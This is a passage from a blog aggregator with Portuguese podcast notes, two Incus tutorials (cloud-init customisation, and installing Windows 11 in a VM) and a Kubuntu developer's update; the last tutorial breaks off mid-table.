Neste episódio com o número 286 (nostalgia!….), recebemos dois convidados sublimes: Joana Simões e João Jotta. Falámos sobre as nossas aventuras com Streamdeck e apps desnecessárias para tudo e para nada, Raspberry Pis empilhados em torre, ventoinhas partidas, Ubuntu Pro, canais fixes no Youtube e declarações polémicas do Diogo que estão a incendiar as redes sociais. Para aproveitar as últimas semanas em Democracia, avaliámos brevemente os programas dos partidos relativamente ao Software Livre de Código Aberto. E não se esqueçam: as eleições Legislativas servem para eleger o número de deputados na Assembleia da República, para votarem leis - não são para eleger o/a Primeiro/a-Ministro/a. Esse é designado/a pelo Presidente da República, partindo da composição da Assembleia [pequeno momento de serviço público].

Já sabem: oiçam, subscrevam e partilhem!

Apoios

Podem apoiar o podcast usando os links de afiliados do Humble Bundle, porque ao usarem esses links para fazer uma compra, uma parte do valor que pagam reverte a favor do Podcast Ubuntu Portugal. E podem obter tudo isso com 15 dólares ou diferentes partes dependendo de pagarem 1, ou 8. Achamos que isto vale bem mais do que 15 dólares, pelo que se puderem paguem mais um pouco mais visto que têm a opção de pagar o quanto quiserem. Se estiverem interessados em outros bundles não listados nas notas usem o link https://www.humblebundle.com/?partner=PUP e vão estar também a apoiar-nos.

Atribuição e licenças

Este episódio foi produzido por Diogo Constantino, Miguel e Tiago Carrondo e editado pelo Senhor Podcast. O website é produzido por Tiago Carrondo e o código aberto está licenciado nos termos da Licença MIT. A música do genérico é: “Won’t see it comin’ (Feat Aequality & N’sorte d’autruche)”, por Alpha Hydrae e está licenciada nos termos da CC0 1.0 Universal License. Este episódio e a imagem utilizada estão licenciados nos termos da licença: Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0), cujo texto integral pode ser lido aqui. Estamos abertos a licenciar para permitir outros tipos de utilização, contactem-nos para validação e autorização.

on February 15, 2024 12:00 AM

February 03, 2024

Incus is a manager for virtual machines and system containers. There is also an Incus support forum.

A virtual machine (VM) is an instance of an operating system that runs on a computer, along with the main operating system. A virtual machine uses hardware virtualization features for the separation from the main operating system. With virtual machines, the full operating system boots up in them. You can use cloud-init to customize virtual machines that are launched with Incus.

A system container is an instance of an operating system that also runs on a computer, along with the main operating system. A system container, instead, uses security primitives of the Linux kernel for the separation from the main operating system. You can think of system containers as software virtual machines. System containers reuse the running Linux kernel of the host, therefore you can only have Linux system containers, any Linux distribution. You can use cloud-init to customize system containers that are launched with Incus.

In this post we see how to use cloud-init to customize Incus virtual machines and system containers. When you launch such an instance, they will be immediately customized to your liking and ready to use.

Prerequisites

  1. You have installed Incus or you have migrated from LXD.
  2. The container images that have a cloud variant are the ones that have support for cloud-init. Have a look at https://images.linuxcontainers.org/ and check that your favorite container image has a cloud variant in the Variant column.

You can also view which images have cloud-init support by running the following command. The command performs an image list for images on the images: remote, by matching the string cloud anywhere in their name.

incus image list images:cloud

Managing profiles in Incus

Incus has profiles, and these are used to group together configuration options. See how to use profiles in Incus.

When you launch a system container or a virtual machine, Incus uses by default the default profile for the configuration.

Let’s show this profile. The config section is empty and in this section we will be doing later the cloud-init stuff. There are two devices, the eth0 network device (because it is of type nic) which is served by the incusbr0 network bridge. If you migrated from LXD, it might be called lxdbr0. Then, there is the root disk device (because it is of type disk) which is served by the default storage pool. You can dig for more with incus network list and incus storage list.

$ incus profile show default
config: {}
description: Default Incus profile
devices:
  eth0:
    name: eth0
    network: incusbr0
    type: nic
  root:
    path: /
    pool: default
    type: disk
name: default
used_by:
....
$ 

You can perform many actions on Incus profiles. Here is the list of commands.

$ incus profile 
Usage:
  incus profile [flags]
  incus profile [command]

Available Commands:
  add         Add profiles to instances
  assign      Assign sets of profiles to instances
  copy        Copy profiles
  create      Create profiles
  delete      Delete profiles
  device      Manage devices
  edit        Edit profile configurations as YAML
  get         Get values for profile configuration keys
  list        List profiles
  remove      Remove profiles from instances
  rename      Rename profiles
  set         Set profile configuration keys
  show        Show profile configurations
  unset       Unset profile configuration keys

Global Flags:
      --debug          Show all debug messages
      --force-local    Force using the local unix socket
  -h, --help           Print help
      --project        Override the source project
  -q, --quiet          Don't show progress information
      --sub-commands   Use with help or --help to view sub-commands
  -v, --verbose        Show all information messages
      --version        Print version number

Use "incus profile [command] --help" for more information about a command.
$ 

Creating a profile for cloud-init

We are going to create a new profile, not a fully-fledged profile, that has just the cloud-init configuration. Then, when we are about to use the profile, we will specify that new profile along with the default profile. By doing so, we are not messing with the default profile; we keep them separate and tidy.

$ incus profile create cloud-dev
Profile cloud-dev created
$ incus profile show cloud-dev
config: {}
description: ""
devices: {}
name: cloud-dev
used_by: []
$ 

We want to insert the following cloud-init configuration. If you are viewing the following from my blog, you will notice that there is a gray background color for the text. That is important so that there are no extra spaces at the end of the lines. That would cause formatting issues later on. The cloud-init.user-data part says that the next will be about cloud-init. The | character at the end of the line is very significant. It means that until the end of this field, all commands should be kept verbatim. Whatever appears there, will be injected into the instance as soon as it starts, at the proper location for cloud-init. When the instance is starting for the first time, it will start the cloud-init service which will look for the injected commands and process them accordingly. In this example, we use runcmd to run the touch command and create the file /tmp/simos_was_here. We just want some evidence that cloud-init actually worked.

  cloud-init.user-data: |
    #cloud-config
    runcmd:
      - [touch, /tmp/simos_was_here]

We need to open the profile for editing, then paste the configuration. When you run the following line, a text editor will open (likely pico) and you can paste the above text in the config section. Remove the {} from the config: {} line.

$ incus profile edit cloud-dev

Here is how the cloud-dev profile should look like in the end. The command has a certain format. It’s a list of items, the first being the actual command to run (touch), and the second the argument to the command. It’s going to run touch /tmp/simos_was_here and should work with all distributions.

$ incus profile show cloud-dev
config:
  cloud-init.user-data: |
    #cloud-config
    runcmd:
      - [touch, /tmp/simos_was_here]
description: ""
devices: {}
name: cloud-dev
used_by: []
$ 

Now we are ready to launch a container.

Launching an Incus container with cloud-init

Alpine is a lightweight Linux distribution. Let’s see what’s in store for Alpine images that have cloud support. Using incus image (for Incus image-related commands) we want to list the available ones from the images: remote, and filter for alpine and cloud. Whatever comes after the remote (i.e. images:), is a filter word.

incus image list images: alpine cloud

Here is the full output. I appended --columns ldt to the command, which shows only three columns, l for shortest alias, d for description, and t for image type (either container or virtual machine). Without the columns, the output would be too wide and would not fit in my blog’s narrow width.

$ incus image list images: alpine cloud --columns ldt
+----------------------------+------------------------------------+-----------------+
|           ALIAS            |            DESCRIPTION             |      TYPE       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud (1 more) | Alpine 3.16 amd64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud (1 more) | Alpine 3.16 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud/arm64    | Alpine 3.16 arm64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud/arm64    | Alpine 3.16 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud (1 more) | Alpine 3.17 amd64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud (1 more) | Alpine 3.17 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud/arm64    | Alpine 3.17 arm64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud/arm64    | Alpine 3.17 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud (1 more) | Alpine 3.18 amd64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud (1 more) | Alpine 3.18 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud/arm64    | Alpine 3.18 arm64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud/arm64    | Alpine 3.18 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud (1 more) | Alpine 3.19 amd64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud (1 more) | Alpine 3.19 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud/arm64    | Alpine 3.19 arm64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud/arm64    | Alpine 3.19 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud (1 more) | Alpine edge amd64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud (1 more) | Alpine edge amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud/arm64    | Alpine edge arm64 (20240202_13:00) | CONTAINER       |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud/arm64    | Alpine edge arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
$ 

I am going to use alpine/3.19/cloud. Alpine 3.19 was released in December 2023, so it’s a fairly recent version. The same version is also available as a virtual machine image which is handy. We could easily use the virtual machine version simply by adding --vm when we launch the image through incus launch. The rest would be the same. In the following we will be creating a container image.

In the following, I launch the cloud variety of the Alpine 3.19 image (images:alpine/3.19/cloud), I give it the name myalpine, and I apply both the default and cloud-dev Incus profiles. Why apply the default Incus profile as well? Because when we specify a profile, Incus does not add the default profile by default (see what I did here?). Therefore, we specify first the default profile, then the new cloud-dev profile. If the default profile had some configuration in the config: section, then the new cloud-dev profile would mask (hide) it. The cloud-init configuration is not merged among profiles; the last profile in the list overwrites any previous cloud-init configuration. Then, we get a shell into the container, and check that the file has been created in /tmp. Finally, we exit, stop the container and delete it. Nice and clean.

$ incus launch images:alpine/3.19/cloud myalpine --profile default --profile cloud-dev
Launching myalpine
$ incus shell myalpine
myalpine:~# ls -l /tmp/
total 1
-rw-r--r--    1 root     root             0 Feb  3 12:02 simos_was_here
myalpine:~# exit
$ incus stop myalpine
$ incus delete myalpine
$ 

Case study: Disable IPv6 addresses in container

The ultimate purpose of cloud-init is to provide customization while at the same time stick with standard container images as they are provided by the images: remote. The alternative to cloud-init would be to create a whole custom range images with our desired changes. In this case study, we are going to create a cloud-init configuration that disables IPv6 in Alpine containers (and virtual machines). The motivation of this, was a request by a user from the Incus discussion and support forum. Read over there how you would manually disable IPv6 in an Alpine container.

Here are the cloud-init instructions that disable IPv6 in a Alpine container or virtual machine. Alpine gets an IP address from DHCP which includes IPv4 and IPv6 addresses. At some point early in the boot process, we use the bootcmd module to run commands. We add a configuration to the sysctl service to disable IPv6. Then, we enable the sysctl service because it is disabled by default in AlpineLinux. Finally, we restart the service in order to apply the configuration we just added.

  cloud-init.user-data: |
    #cloud-config
    bootcmd:
      - echo "net.ipv6.conf.all.disable_ipv6 = 1" > /etc/sysctl.d/10-disable-ipv6.conf
      - rc-update add sysctl default
      - rc-service sysctl restart

Here we test out the new Incus profile with cloud-init to disable IPv6 in a container. There is no IPv6 address in the container.

$ incus launch images:alpine/3.19/cloud myalpine --profile default --profile cloud-alpine-noipv6
Launching myalpine
$ incus list myalpine
+----------+---------+--------------------+------+-----------+-----------+
|   NAME   |  STATE  |         IPV4       | IPV6 |   TYPE    | SNAPSHOTS |
+----------+---------+--------------------+------+-----------+-----------+
| myalpine | RUNNING | 10.10.10.44 (eth0) |      | CONTAINER | 0         |
+----------+---------+--------------------+------+-----------+-----------+
$ incus stop myalpine
$ incus delete myalpine
$ 

We tried with a system container. How about a virtual machine? Let’s try the same with a virtual machine. The same command but with --vm added to it. We get an issue that the AlpineLinux image cannot work with Secure Boot. Incus provides an environment that offers Secure Boot but AlpineLinux cannot work with it. Therefore, we instruct Incus not to offer Secure Boot.

$ incus launch images:alpine/3.19/cloud myalpine --vm --profile default --profile cloud-alpine-noipv6
Launching myalpine
Error: Failed instance creation: The image used by this instance is incompatible with secureboot. Please set security.secureboot=false on the instance
$ incus delete --force myalpine
$ incus launch images:alpine/3.19/cloud myalpine --vm --profile default --profile cloud-alpine-noipv6 --config security.secureboot=false
Launching myalpine
$ incus list myalpine
+----------+---------+--------------------+------+-----------------+-----------+
|   NAME   |  STATE  |        IPV4        | IPV6 |      TYPE       | SNAPSHOTS |
+----------+---------+--------------------+------+-----------------+-----------+
| myalpine | RUNNING | 10.10.10.88 (eth0) |      | VIRTUAL-MACHINE | 0         |
+----------+---------+--------------------+------+-----------------+-----------+
$ incus stop myalpine
$ incus delete myalpine
$ 

Case study: Launching a Debian instance with a Web server

A common task when using Incus, is to launch an instance, install a Web server, modify the default HTML file to say Hello, world!, and finally view the file using the host’s Web browser. Instead of doing all these steps manually, we automate them.

In this example, when the instance is launched, Incus places the cloud-init instructions in the file /var/lib/cloud/seed/nocloud-net/user-data. The cloud-init service in the instance is started. The following Incus profile uses more advanced cloud-init commands. It performs a package update, then a package upgrade, and finally it would reboot if the package upgrade requires it. We do not need to specify which command would perform the package update or upgrade because cloud-init can deduce them from the running system. Next, it installs the nginx package. Finally, our custom script is created in /var/lib/cloud/scripts/per-boot/edit-nginx-index.sh. The cloud-init service run the edit-nginx-index.sh script, which modifies the /var/www/html/index.nginx-debian.html file, which is the default HTML file for nginx in Debian.

$ incus profile create cloud-debian-helloweb
Profile cloud-debian-helloweb created
$ incus profile edit cloud-debian-helloweb
<furiously editing the cloud-init section>
$ incus profile show cloud-debian-helloweb 
config:
  cloud-init.user-data: |
    #cloud-config
    package_update: true
    package_upgrade: true
    package_reboot_if_required: true
    packages:
      - nginx
    write_files:
    - path: /var/lib/cloud/scripts/per-boot/edit-nginx-index.sh
      permissions: 0755
      content: |
        #!/bin/bash
        sed -i 's/Welcome to nginx/Welcome to Incus/g' /var/www/html/index.nginx-debian.html
        sed -i 's/Thank you for using nginx/Thank you for using Incus/g' /var/www/html/index.nginx-debian.html
description: ""
devices: {}
name: cloud-debian-helloweb
used_by: []
$ 

Let’s test these in a Debian system container.

$ incus launch images:debian/12/cloud mydebian --profile default --profile cloud-debian-helloweb
Launching mydebian
$ incus list mydebian --columns ns4t
+----------+---------+---------------------+-----------+
|   NAME   |  STATE  |         IPV4        |   TYPE    |
+----------+---------+---------------------+-----------+
| mydebian | RUNNING | 10.10.10.120 (eth0) | CONTAINER |
+----------+---------+---------------------+-----------+
$ 

Open up the above IP address in your favorite Web browser. Note that the home page now has two references to Incus, thanks to the changes that we did through cloud-init.

For completeness, the same with a Debian virtual machine. In this case, we just add --vm in the incus launch command line and all the rest are the same. The Debian VM image works with Secure Boot. When you get the IP address, open up the page in your favorite Web browser. Note that since this is a virtual machine, the network device is not eth0 but a normal-looking network device.

$ incus stop mydebian
$ incus delete mydebian
$ incus launch images:debian/12/cloud mydebian --vm --profile default --profile cloud-debian-helloweb
Launching mydebian

<wait for 10-20 seconds because virtual machines take more time to setup>

$ incus list mydebian --columns ns4t
+----------+---------+------------------------+-----------------+
|   NAME   |  STATE  |          IPV4          |      TYPE       |
+----------+---------+------------------------+-----------------+
| mydebian | RUNNING | 10.10.10.110 (enp5s0) | VIRTUAL-MACHINE |
+----------+---------+------------------------+-----------------+
$ 

Summary

We have seen how to use the cloud Incus images, both for containers and virtual machines. They provide customization to the Incus instances and it helps you to get them configured to your liking from the start.

cloud-init offers a lot of opportunity for customization. Normally you would setup the Incus instance manually to your liking, and then interpret your changes into cloud-init commands.

Bonus content #1: Cloud-init from command-line

You can also pass the cloud-init configuration through the command-line at the moment of the creation of the instance. That is, you can even use cloud-init in Incus without a profile!

Here is the very first example of this tutorial.

  cloud-init.user-data: |
    #cloud-config
    runcmd:
      - [touch, /tmp/simos_was_here

We remove the first line and keep the rest. We save as a file with filename, for example, cloud-simos.yml.

    #cloud-config
    runcmd:
      - [touch, /tmp/simos_was_here

Next, we can launch an instance with the following syntax. We use the --config parameter to set the key cloud-init.user-data to the content of the, in this example, cloud-simos.yml file. The syntax $(command) is a syntax of the Bash shell. Most likely it is supported in other shells. If you use automation, verify that the shell supports this syntax.

incus launch images:alpine/3.19/cloud alpine  --config=cloud-init.user-data="$(cat cloud-simos.yml)"

Bonus content #2

There are two configurable keys in cloud-init.

  1. The cloud-init.user-data, meant for user configuration.
  2. The cloud-init.vendor-data, meant for vendor configuration.

In our case, if we plan to use several Incus profiles with cloud-init configuration, it is possible to split the configuration between two profiles. The two set of configuration run separate from each other. The user-data are applied last.

Troubleshooting

Error: My cloud-init instructions are all messed up!

Here is what I got!

$ incus profile show cloud-dev
config:
  cloud-init.user-data: "#cloud-config\nruncmd: \n  - [touch, /tmp/simos_was_here]\n"
description: ""
devices: {}
name: cloud-dev
used_by: []
$ 

This happens if there are any extra spaces at the end of the cloud-init lines. pico, the default editor tries to help you on this. The above problem happened because there was some extra space somewhere in the cloud-init configuration.

There is an extra space at the end of runcmd:, shown in red. Not good.

You would need to remove the configuration and paste it again, taking care of the formatting. While editing with the pico text editor, there should be no red blocks at the end of the lines.

How can I debug cloud-init?

When an Incus instance with cloud-init is launched, the cloud-init service is running, and it creates two log files, /var/log/cloud-init.log and /var/log/cloud-init-output.log.

Here are some relevant lines from cloud-init.log relating to the nginx example.

2024-02-03 19:07:09,237 - util.py[DEBUG]: Writing to /var/lib/cloud/scripts/per-boot/edit-nginx-index.sh - wb: [755] 200 bytes
...
2024-02-03 19:07:14,814 - subp.py[DEBUG]: Running command ['/var/lib/cloud/scripts/per-boot/edit-nginx-index.sh'] with allowed return codes [0] (shell=False, capture=False)
...

Error: Unable to connect

If you try to open the Web server in the Incus instance and you get a browser error Unable to connect, then

  1. Verify that you got the correct IP address of the Incus instance.
  2. Verify that the URL is http:// and not https://. Some browsers switch automatically to https while in these examples we have only launched plain http Web servers.
on February 03, 2024 07:39 PM

February 02, 2024

It’s official, the Kubuntu Council has hired me part time to work on the 24.04 LTS release, preparation for Plasma 6, and to bring life back into the Distribution. First I want thank the Kubuntu Council for this opportunity and I plan a long and successful journey together!!!!

My first week ( I started midweek ):

It has been a busy one! Many meet and greets with the team and other interested parties. I had the chance to chat with Mike from Kubuntu Focus and I have to say I am absolutely amazed with the work they have done, and if you are in the market for a new laptop, you must check these out!!! https://kfocus.org Or if you want to try before you buy you can download the OS! All they ask is for an e-mail, which is completely reasonable. Hosting isn’t free! Besides, you can opt out anytime and they don’t share it with anyone. I look forward to working closely with this project.

We now have a Kubuntu Team in KDE invent https://invent.kde.org/teams/distribution-kubuntu if you would like to join us, please don’t hesitate to ask! I have started a new Wiki and our first page is the ever important Bug triaging! It is still a WIP but you can check it out here: https://invent.kde.org/teams/distribution-kubuntu/docs/-/wikis/Bug-Triage-Story-WIP , with that said I have started the launchpad work to make tracking our bugs easier buy subscribing kubuntu-bugs to all our packages and creating proper projects for our packages missing them.

We have compiled a list of our various documentation links that need updated and Rick Timmis is updating kubuntu.org! Aaron Honeycutt has been busy with the Kubuntu Manual https://github.com/kubuntu-team/kubuntu-manual which is in good shape. We just need to improve our developer story 🙂

I have been working on the rather massive Apparmor bug https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2046844 with testing the fixes from the ppa and writing profiles for the various KDE packages affected ( pretty much anything that uses webengine ) and making progress there.

My next order of business staging Frameworks 5.114 with guidance from our super awesome Rik Mills that has been doing most of the heavy lifting in Kubuntu for many years now. So thank you for that Rik 🙂

I will also start on our big transition to the Calamaras Installer! I do have experience here, so I expect it will be a smooth one.

I am so excited for the future of Kubuntu and the exciting things to come! With that said, the Kubuntu funding is community donation driven. There is enough to pay me part time for a couple contracts, but it will run out and a full-time contract would be super awesome. I am reaching out to anyone enjoying Kubuntu and want to help with the future of Kubuntu to please consider a donation! We are working on more donation options, but for now you can donate through paypal at https://kubuntu.org/donate/ Thank you!!!!!

on February 02, 2024 04:22 PM

February 01, 2024

Incus is a manager for virtual machines and system containers.

A virtual machine (VM) is an instance of an operating system that runs on a computer, along with the main operating system. A virtual machine uses hardware virtualization features for the separation from the main operating system. With virtual machines, the full operating system boots up in them. Therefore, it is possible to run Windows in a virtual machine, even if your host is Linux.

A system container is an instance of an operating system that also runs on a computer, along with the main operating system. A system container, instead, uses security primitives of the Linux kernel for the separation from the main operating system. You can think of system containers as software virtual machines. The system containers reuse the running Linux kernel of the host, therefore you can only have Linux system containers, any Linux distribution.

In this post we are going to see how to create an Incus virtual machine with Windows.

Updates

Update #3: In Bonus Material #3. If the Windows VM crashes, there are two workarounds.

Update #2: In Bonus Material #2. Instead of keeping the Windows ISO file on your host, you can place it in the Incus storage pool.

Update #1: In Bonus Material #1. You can create an Incus profile that you can easily use when you want to create a Windows VM.

Prerequisites

  1. You should have a system that runs Incus.
  2. A Windows ISO file or enough bandwidth to download one.
  3. A system with support for hardware virtualization so that it can run virtual machines.

Cheat sheet

This is a summary of the commands. You are supposed to consult this section after you thoroughly read the post.

sudo snap install distrobuilder --classic
sudo distrobuilder repack-windows Win11_23H2_English_x64v2.iso Win11_23H2_English_x64v2.incus.iso
incus init win11vm --empty --vm
incus config device override win11vm root size=55GiB
incus config set win11vm limits.cpu=4 limits.memory=6GiB
incus config device add win11vm vtpm tpm path=/dev/tpm0
incus config device add win11vm install disk source=/home/myusername/Downloads/Win11_23H2_English_x64v2.incus.iso boot.priority=10
incus start win11vm --console=vga
incus console win11vm --type=vga
incus config device remove win11vm install

Downloading a Windows ISO file

You can download Windows ISO files from Microsoft, for example, at https://www.microsoft.com/en-us/software-download/ In my case I am selecting Windows 11. This site offers ISO images for Windows 8.1, Windows 10 and Windows 11. However, currently, the distrobuilder companion for Incus can only prepare ISO images for Windows 11, Windows 10, Windows Server 2019, Windows Server 2012, Windows server 2016, Windows Server 2019 and Windows Server 2022.

When you select the version of Windows, you are asked the type of file to download. Select the Windows Disk Image (ISO). Then, select your preferred product language. Finally, click to download the ISO file. The Windows 11 ISO should be about 6GB in size.

The file has been downloaded. In my case, the filename was Win11_23H2_English_x64v2.iso.

Preparing the Windows ISO file

The Windows ISO file needs to be prepared before it is used by Incus as a virtual DVD image to boot the virtual machine. When Incus starts up the empty virtual machine for the first time, it will find the ISO file attached as a virtual DVD disk, and boot it. By booting the virtual DVD disk, the installation process of Windows will start.

To prepare the original Windows ISO file, we use distrobuilder. First, we install it. Then, we install two packages that are required by distrobuilder but are not supplied by its snap package. Since the snap package is available with the classic confinement, it does has access to the host’s packages. If you do not install these packages, you will get errors while running distrobuilder.

$ sudo snap install distrobuilder --classic
distrobuilder 3.0 from Stéphane Graber (stgraber) installed
$ sudo apt install -y libguestfs-tools wimtools rsync
...
$

Then, we can run distrobuilder to repack the ISO file in a special way that Windows ISO files require. The following procedure took about 2 minutes on my computer. The new, prepared, ISO file has been named Win11_23H2_English_x64v2.incus.iso and it is for use with Incus only.

$ sudo distrobuilder repack-windows Win11_23H2_English_x64v2.iso Win11_23H2_English_x64v2.incus.iso 
[sudo] password for myusername:  
INFO   [2024-01-30T02:23:01+02:00] Mounting Windows ISO                         
mount: /var/cache/distrobuilder.3138255837/source: WARNING: source write-protected, mounted read-only.
INFO   [2024-01-30T02:23:01+02:00] Downloading drivers ISO                      
INFO   [2024-01-30T02:24:45+02:00] Mounting driver ISO                          
...
$ 

The ISO file is prepared, we can now work on the Incus VM for Windows. The ISO preparation takes about 5 minutes.

Creating the Windows VM on Incus

We are going to create the VM through special steps.

  1. We initialize the VM. It is a VM because --vm, it is called win11vm in our case, and it is --empty. It is important to use --empty because we are not using some container or virtual machine image from the repositories. The virtual machine is really empty.
  2. We override the default size of the disk of the VM to 60GB. The default size for the disk in Incus 10GB which is not enough for the installation of Windows. At the end of the installation, Windows use about 12GB of space. See the Troubleshooting section to figure out how much space you can afford to use or how to choose an older version of Windows because you do not have enough space for the VM.
  3. We allocate 4 CPU cores for the VM, and 8GB of RAM memory. Specify accordingly for your system. The minimum requirements for Windows 11 is 2 CPU cores and 4GB RAM.
  4. We enable Trusted Platform Module 2.0 emulation (tpm) so that Windows 11 are able to boot.
  5. We enable audio support through QEMU. (Note: since writing this post, Incus was updated to use version 8.1. It now requires to append -audio spice to the audio configuration.)
$ incus init win11vm --empty --vm
Creating win11vm
$ incus config device override win11vm root size=55GiB
Device root overridden for win11vm
$ incus config set win11vm limits.cpu=4 limits.memory=6GiB
$ incus config device add win11vm vtpm tpm path=/dev/tpm0
Device vtpm added to win11vm
$ incus config set win11vm raw.qemu -- "-device intel-hda -device hda-duplex -audio spice"
$ incus config device add win11vm install disk source=/home/myusername/Downloads/Win11_23H2_English_x64v2.incus.iso boot.priority=10
Device install added to win11vm
$ 

Now we are ready to boot the VM with the attached ISO image that will appear as a DVD disk. From there on, the installation of Windows will commence.

Booting the Windows virtual machine

Initially, the VM is in a stopped state. We are going to start it and at the same time request to open a window that shows the console of the VM. This helps us to perform the initial installation. If you get a message that the VM is already running, then see the next section on how to reconnect to the VM.

$ incus start win11vm --console=vga

Reconnecting to the Windows virtual machine

If you close the Windows virtual machine window (pun not intended), then the window closes but the VM continues to run. In that case, you can reconnect to the running Windows VM by running the incus console command with the parameter --type=vga. If you get a message that the VM is stopped, then see the previous section on how to start the VM.

$ incus console win11vm --type=vga

Removing the virtual Windows DVD ISO

The virtual Windows DVD ISO is attached to the Incus instance. When you boot the Windows Incus instance, you are asked to press any key to boot from the DVD and there’s a small delay before continuing. If you have already installed Windows, you can remove the virtual Windows DVD ISO from the Incus instance with the following command. We are using the incus config command, subcommand device remove, on the instance win11vm, for the device called install.

$ incus config device remove win11vm install
Device install removed from win11vm
$ 

Screenshots

When you first launch the Incus instance with Windows, you are booting from the attached virtual Windows DVD. As it is common with the booting process, you are asked to press any key in order to boot from the DVD. Otherwise, the system will boot from the VM hard disk, which is empty. Therefore, you need to click inside the window and press any key in order to get the attached virtual Windows DVD to boot. If you do not make it on time as in the screenshot, click on the menu Send Key, then Ctrl+Alt+Del to send the signal to reboot the VM.

When the VM is booting, the operating system shows an image that is provided by the UEFI environment. On your desktop when you start Windows, it would show the logo of the manufacturer of the motherboard.

In this case, Incus is showing the name of the company of the packager of Incus that I am using.

Launching the Incus instance, which is a VM running Windows 11.

Some other random screenshot.

Summary

We show how to

  1. how to download the ISO file from Microsoft,
  2. how to prepare the ISO file so that it can be used by Incus,
  3. setup an Incus VM to install Windows,
  4. how to start or reconnect to the VM.
  5. how to create an Incus profile with the configuration
  6. and below some troubleshooting issues.

Bonus material #1 – Incus profile for Windows

When you run many Windows VMs, you might want to simplify the process of setting up the Incus instance. For example, the allocated amount of disk space, how many CPU cores and amount of RAM memory.

You can create Incus profiles to describe sets of configuration. When you create the Incus instance for Windows, specify the profile and you avoid repeating the same configuration steps.

To do so, we make a copy of the default profile into a new name, let’s call it windows. Then, we add configuration to that profile.

$ incus profile copy default windows
$ incus profile show windows
config: {}
description: Default Incus profile
devices:
  eth0:
    name: eth0
    network: lxdbr0
    type: nic
  root:
    path: /
    pool: default
    type: disk
name: windows
used_by: []
$ incus profile set windows limits.cpu=4
$ incus profile set windows limits.memory=6GiB
$ incus profile set windows raw.qemu="-device intel-hda -device hda-duplex -audio spice"
$ incus profile device add windows vtpm tpm path=/dev/tpm0
$ incus profile device set windows root size=55GB
$ incus profile set windows --property description="Windows profile 4CPU, 6GB RAM, 55GB space"
$ incus profile show windows
config:
  limits.cpu: "4"
  limits.memory: 6GiB
  raw.qemu: -device intel-hda -device hda-duplex
description: Windows profile 4CPU, 6GB RAM, 55GB space
devices:
  eth0:
    name: eth0
    network: lxdbr0
    type: nic
  root:
    path: /
    pool: default
    size: 55GB
    type: disk
  vtpm:
    path: /dev/tpm0
    type: tpm
name: windows
used_by: []
$ incus profile list
+---------+--------------------------------------------------------------------+---------+
|  NAME   |                            DESCRIPTION                             | USED BY |
+---------+--------------------------------------------------------------------+---------+
| default | Default Incus profile                                              | 42      |
+---------+--------------------------------------------------------------------+---------+
| gui     | GUI Wayland and xWayland profile with pulseaudio, shifting enabled | 3       |
+---------+--------------------------------------------------------------------+---------+
| windows | Windows profile 4CPU, 6GB RAM, 55GB space                         | 0       |
+---------+--------------------------------------------------------------------+---------+
$ 

When you create the profile, then the commands to start the virtual machine become shorter.

$ incus init win11vm --empty --vm --profile windows
Creating win11vm
$ incus config device add win11vm install disk source=/home/myusername/Downloads/Win11_23H2_English_x64v2.incus.iso boot.priority=10
Device install added to win11vm
$ 

Note that if you use many versions of Windows, you can create several profiles for each version. Windows 11 requires that there are available 52GB of disk space but Windows 10 can fit in much less space.

Bonus material #2 – Windows ISO as a volume in Incus

This tutorial describes how to use the prepared ISO file of a version of Windows to boot the VM. This prepared ISO file is located somewhere on the filesystem of the host. However, there is the option to import the prepared ISO image into a volume of your storage pool. That is, the location where Incus stores the images of your containers and virtual machines, can also be a place where you store the prepared ISO image.

First, we find out the name of our storage pool. It is called default. We can list the volumes in the default storage pool. Then, we import the prepared Windows ISO into the default storage pool as a volume, called win11 and of type iso.

$ incus storage list
+---------+--------+---------+-------------+---------+---------+
|  NAME   | DRIVER | SOURCE  | DESCRIPTION | USED BY |  STATE  |
+---------+--------+---------+-------------+---------+---------+
| default | zfs    | default |             | 76      | CREATED |
+---------+--------+---------+-------------+---------+---------+
$ incus storage volume list default
...
$ incus storage volume import default Win11_23H2_English_x64v2.incus.iso win11 --type=iso
Importing custom volume: 100% (268.86MB/s) 
$ incus storage volume list default -c tnc
+-----------------+------------------------------------------------------------------+--------------+
|      TYPE       |                               NAME                               | CONTENT-TYPE |
+-----------------+------------------------------------------------------------------+--------------+
+-----------------+------------------------------------------------------------------+--------------+
| container       | wordpress                                                        | filesystem   |
